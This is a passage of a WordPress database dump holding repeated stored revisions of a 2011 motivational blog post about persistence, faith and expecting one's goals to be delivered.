achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-13', '', '', '2011-03-22 10:29:11', '2011-03-22 17:29:11', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-13/', 0, 'revision', '', 0),
(1558, 2, '2011-03-22 10:30:30', '2011-03-22 17:30:30', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Let me re-state the principle here:Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-16', '', '', '2011-03-22 10:30:30', '2011-03-22 17:30:30', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-16/', 0, 'revision', '', 0),
(1556, 2, '2011-03-22 10:29:23', '2011-03-22 17:29:23', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3><strong>Let me re-state the principle here:</strong>\r\n\r\n<strong> </strong> <strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong></h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-14', '', '', '2011-03-22 10:29:23', '2011-03-22 17:29:23', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-14/', 0, 'revision', '', 0),
(1557, 2, '2011-03-22 10:29:41', '2011-03-22 17:29:41', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3><strong>Let me re-state the principle here:</strong>\r\n\r\n<strong> </strong> <strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong></h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-15', '', '', '2011-03-22 10:29:41', '2011-03-22 17:29:41', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-15/', 0, 'revision', '', 0),
(1559, 2, '2011-03-22 10:30:38', '2011-03-22 17:30:38', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Let me re-state the principle here:Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-17', '', '', '2011-03-22 10:30:38', '2011-03-22 17:30:38', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-17/', 0, 'revision', '', 0),
(1560, 2, '2011-03-22 10:31:11', '2011-03-22 17:31:11', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Let me re-state the principle here:</h3>\r\n<h3>Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-18', '', '', '2011-03-22 10:31:11', '2011-03-22 17:31:11', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-18/', 0, 'revision', '', 0),
(1561, 2, '2011-03-22 10:31:21', '2011-03-22 17:31:21', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Let me re-state the principle here:</h3>\r\n<h3>Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-19', '', '', '2011-03-22 10:31:21', '2011-03-22 17:31:21', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-19/', 0, 'revision', '', 0),
(1563, 2, '2011-03-22 10:32:25', '2011-03-22 17:32:25', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-21', '', '', '2011-03-22 10:32:25', '2011-03-22 17:32:25', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-21/', 0, 'revision', '', 0),
(1564, 2, '2011-03-22 10:45:14', '2011-03-22 17:45:14', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a>:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-22', '', '', '2011-03-22 10:45:14', '2011-03-22 17:45:14', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-22/', 0, 'revision', '', 0),
(1565, 2, '2011-03-22 10:45:27', '2011-03-22 17:45:27', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a>:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-23', '', '', '2011-03-22 10:45:27', '2011-03-22 17:45:27', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-23/', 0, 'revision', '', 0),
(1566, 2, '2011-03-22 10:45:31', '2011-03-22 17:45:31', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a>:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3>Know what you want, decide to pursue it, expect that it will be delivered to you.</h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the 